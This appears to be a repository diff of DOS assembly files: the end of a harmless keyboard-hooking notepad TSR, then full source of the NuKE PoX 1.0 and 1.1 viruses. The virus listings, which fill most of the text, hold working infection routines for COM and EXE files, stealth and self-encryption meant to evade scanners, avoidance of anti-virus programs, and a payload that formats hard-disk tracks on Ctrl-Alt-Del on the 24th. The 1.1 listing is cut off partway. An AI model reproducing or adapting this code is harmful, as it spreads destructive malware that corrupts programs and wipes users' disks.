FIRST: JMP LOAD_PAD ;First time through jump to initialize routine
CNTRL_N_FLAG DW 0 ;Cntrl-N on or off
PAD DB '_',499 DUP(' ') ;Memory storage for pad
PAD_CURSOR DW 0 ;Current position in pad
PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd
FIRST_POSITION DW ? ;Position of 1st char on screen
ATTRIBUTE DB 112 ;Pad Attribute -- reverse video
SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics
IO_CHAR DW ? ;Holds addr of Put or Get_Char
STATUS_PORT DW ? ;Video controller status port
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
N_PAD PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JE IN ;So leave
SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2
NO_WRAP:MOV DX,[BX] ;Char in DX now
CMP DX,310EH ;Is the char a Cntrl-N?
JNE NOT_CNTRL_N ;No
MOV TAIL,BX ;Yes -- delete it from buffer
NOT CNTRL_N_FLAG ;Switch Modes
CMP CNTRL_N_FLAG,0 ;Cntrl-N off?
JNE CNTRL_N_ON ;No, only other choice is on
CNTRL_N_OFF:
MOV ATTRIBUTE,7 ;Set up for normal video
MOV PAD_OFFSET,250 ;Point to 2nd half of pad
LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans
MOV IO_CHAR,AX ;over all locations in pad on screen
CALL IO ;Restore screen
IN: JMP OUT ;Done
CNTRL_N_ON:
MOV PAD_OFFSET,250 ;Point to screen stroage part of pad
LEA AX,GET_CHAR ;Make IO use Get_char so current screen
MOV IO_CHAR,AX ;is stored
CALL IO ;Store Screen
CALL DISPLAY ;And put up the pad
JMP OUT ;Done here.
NOT_CNTRL_N:
TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on?
JZ IN ;No -- leave
MOV TAIL,BX ;Yes, delete this char from buffer
CMP DX,5300H ;Decide what to do -- is it a Delete?
JNE RUBOUT_TEST ;No -- try Rubout
MOV BX,249 ;Yes -- fill pad with spaces
DEL_LOOP:
MOV PAD[BX],' ' ;Move space to current pad position
DEC BX ;and go back one
JNZ DEL_LOOP ;until done.
MOV PAD,'_' ;Put the cursor at the beginning
MOV PAD_CURSOR,0 ;And start cursor over
CALL DISPLAY ;Put up the new pad on screen
JMP OUT ;And take our leave
RUBOUT_TEST:
CMP DX,0E08H ;Is it a Rubout?
JNE CRLF_TEST ;No -- try carriage return-line feed
MOV BX,PAD_CURSOR ;Yes -- get current pad location
CMP BX,0 ;Are we at beginning?
JLE NEVER_MIND ;Yes -- can't rubout past beginning
MOV PAD[BX],' ' ;No -- move space to current position
MOV PAD[BX-1],'_' ;And move cursor back one
DEC PAD_CURSOR ;Set the pad location straight
NEVER_MIND:
CALL DISPLAY ;And put the result on the screen
JMP OUT ;Done here.
CRLF_TEST:
CMP DX,1C0DH ;Is it a carriage return-line feed?
JNE CHAR_TEST ;No -- put it in the pad
CALL CRLF ;Yes -- move to next line
CALL DISPLAY ;And display result on screen
JMP OUT ;Done.
CHAR_TEST:
MOV BX,PAD_CURSOR ;Get current pad location
CMP BX,249 ;Are we past the end of the pad?
JGE PAST_END ;Yes -- throw away char
MOV PAD[BX],DL ;No -- move ASCII code into pad
MOV PAD[BX+1],'_' ;Advance cursor
INC PAD_CURSOR ;Increment pad location
PAST_END:
CALL DISPLAY ;Put result on screen
OUT: POP ES ;Having done Pushes, here are the Pops
POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
IRET ;An interrupt needs an IRET
N_PAD ENDP
DISPLAY PROC NEAR ;Puts the whole pad on the screen
PUSH AX
MOV ATTRIBUTE,112 ;Use reverse video
MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory
LEA AX,PUT_CHAR ;Make IO use Put-Char so it does
MOV IO_CHAR,AX
CALL IO ;Put result on screen
POP AX
RET ;Leave
DISPLAY ENDP
CRLF PROC NEAR ;This handles carriage returns
CMP PAD_CURSOR,225 ;Are we on last line?
JGE DONE ;Yes, can't do a carriage return, exit
NEXT_CHAR:
MOV BX,PAD_CURSOR ;Get pad location
MOV AX,BX ;Get another copy for destructive tests
EDGE_TEST:
CMP AX,24 ;Are we at the edge of the pad display?
JE AT_EDGE ;Yes -- fill pad with new cursor
JL ADD_SPACE ;No -- Advance another space
SUB AX,25 ;Subtract another line-width
JMP EDGE_TEST ;Check if at edge now
ADD_SPACE:
MOV PAD[BX],' ' ;Add a space
INC PAD_CURSOR ;Update pad location
JMP NEXT_CHAR ;Check if at edge now
AT_EDGE:
MOV PAD[BX+1],'_' ;Put cursor in next location
INC PAD_CURSOR ;Update pad location to new cursor
DONE: RET ;And out.
CRLF ENDP
GET_CHAR PROC NEAR ;Gets a char from screen and advances position
PUSH DX
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
G_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ G_WAIT_LOW
G_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to read directly from
TEST AL,1 ;the screen buffer in memory
JZ G_WAIT_HIGH
MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time
INC DI ;Move to next screen location
DEC SI ;Decrement loop counter
CMP SI,0 ;Are we done?
JE LEAVE ;Yes
MOV PAD[BX],AH ;No -- put char we got into the pad
JMP G_WAIT_LOW ;Do it again
LEAVE: INC BX ;Update pad location
POP DX
RET
GET_CHAR ENDP
PUT_CHAR PROC NEAR ;Puts one char on screen and advances position
PUSH DX
MOV AH,PAD[BX] ;Get the char to be put onto the screen
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
P_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ P_WAIT_LOW
P_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to write directly to
TEST AL,1 ;the screen buffer in memory
JZ P_WAIT_HIGH
MOV ES:[DI],AH ;Move to screen, one byte at a time
MOV AH,ATTRIBUTE ;Load attribute byte for second pass
INC DI ;Point to next screen postion
DEC SI ;Decrement loop counter
JNZ P_WAIT_LOW ;If not zero, do it one more time
INC BX ;Point to next char in pad
POP DX
RET ;Exeunt
PUT_CHAR ENDP
IO PROC NEAR ;This scans over all screen positions of the pad
ASSUME ES:SCREEN ;Use screen as extra segment
MOV BX,SCREEN
MOV ES,BX
MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
MOV BX,PAD_OFFSET ;BX will be pad location pointer
MOV CX,10 ;There will be 10 lines
LINE_LOOP:
MOV DX,25 ;And 25 spaces across
CHAR_LOOP:
CALL IO_CHAR ;Call Put-Char or Get-Char
DEC DX ;Decrement character loop counter
JNZ CHAR_LOOP ;If not zero, scan over next character
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
LOOP LINE_LOOP ;And now go back to do next line
RET ;Finished
IO ENDP
LOAD_PAD PROC NEAR ;This procedure intializes everything
ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area
MOV AX,INTERRUPTS
MOV DS,AX
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
MOV AH,15 ;Ask for service 15 of INT 10H
INT 10H ;This tells us how display is set up
SUB AH,25 ;Move to twenty places before edge
SHL AH,1 ;Mult by two (char & attribute bytes)
MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor
MOV STATUS_PORT,03BAH ;Assume this is a monochrome display
TEST AL,4 ;Is it?
JNZ EXIT ;Yes - jump out
MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display
MOV STATUS_PORT,03DAH
EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to
INT 27H ;stay and attach itself to DOS
LOAD_PAD ENDP
CODE_SEG ENDS
END FIRST ;END "FIRST" so 8088 will go to FIRST first.


View File

@ -0,0 +1,346 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
;***************************************************************************
not al
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start

View File

@ -0,0 +1,497 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
;*- ~~~~~~ *-
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the registers
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7bcdh ;Are we resident Already?
int 21h
cmp bx,7bcdh ;Yupe... Quit Then...
je exit_com
xor bx,bx
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es
mov word ptr cs:[int9][bp],bx
mov ax,3521h ;Sometimes tend to intercept
int 21h ;This Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number od bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file ;Its an EXE file...
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
mov dx,cs
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;This is now a MOV AX,XXXX
Rock_Fix1: ;XXXX is the original SS
dw 0 ;Our XXXX Value
cli ;Disable Interrupts
mov ss,ax ;Mov it to SS
db 0BCh ;This is now a MOV SP,XXXX
Rock_Fix2:
dw 0 ;The XXXX Value for SP
sti ;Enable interrupts
db 0EAh ;JMP XXXX:YYYY
fuck_yeah:
dd 0 ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler: ;Every TIME a KEY is pressed
push ax ;This ROUTINE is called!
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave system alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected: pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,7bcdh ;Virus testing
jne int21call
jmp execute
int21call:
jmp dword ptr cs:[int21] ;Split...
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
cmp ax,7bcdh ;Was Virus testing if it was
jne continue ;Alive? If No Continue
push cs
pop ds ;If Yes, Check if COMMAND.CO
mov dx,offset command ;Is infected! And return
jmp continue2
continue:
call check_name ;Make sure file executed
jc exit_now ;Ain't a Anti-Viral program
continue2: ;With the CRC-32 checkers
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,20h
mov dx,offset ds:[buffer] ;Read first 20h bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end of
xor cx,cx ;file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exe_file ;JMP to EXE Infector
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the firs
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
exit_now2:
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7bcdh ;Virus checking if alive
jne leave_now ;No, Exit normally
mov bx,ax ;Yes, Fix BX with codez
leave_now:
jmp dword ptr cs:[int21] ;Jmp back to whatever
exe_file:
mov cx,word ptr cs:[buffer+20] ;IP Regester
mov word ptr cs:[exe_ip],cx ;Save IP Regester
mov cx,word ptr cs:[buffer+22] ;CS Regester
mov word ptr cs:[exe_cs],cx ;Save CS Regester
mov cx,word ptr cs:[buffer+16] ;SP Regester
mov word ptr cs:[exe_sp],cx ;Save SP Regester
mov cx,word ptr cs:[buffer+14] ;SS Regester
mov word ptr cs:[exe_ss],cx ;Save SS Regester
push ax
push dx
call multiply ;Figure a new CS:IP
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[buffer+22],dx ;Restore New CS
mov word ptr cs:[buffer+20],ax ;Restore New IP
pop dx
pop ax
add ax,virus_size
adc dx,0
push ax
push dx
call multiply ;Figure a new SS:SP
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
add ax,40h
mov word ptr cs:[buffer+14],dx ;New SS Pointer
mov word ptr cs:[buffer+16],ax ;New SP Pointer
pop dx
pop ax
push bx
push cx
mov cl,7 ;Fix for Header for
shl dx,cl ;new file size in 512
;byte pages
mov bx,ax
mov cl,9 ;And the remainder
shr bx,cl ;after dividing by
;512...
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here:
pop cx
pop bx
mov word ptr cs:[buffer+2],ax ;Save Remainder
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
call infect_me ;INFECT File! Yeah!
jc exit_exe
mov ah,40h ;Write NEW EXE Header back
mov dx,offset ds:[buffer] ;to EXE File! Points to
mov cx,20h ;The Virus Now!!! ehhe
int 21h
exit_exe:
jmp exit_now
rocko endp
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
exe_cs dw 0 ;Header!
exe_sp dw 0
exe_ss dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,40h ;Write the New Encrypted
mov dx,offset init_virus ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply proc near
push bx
push cx
mov cl,0Ch
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
multiply endp
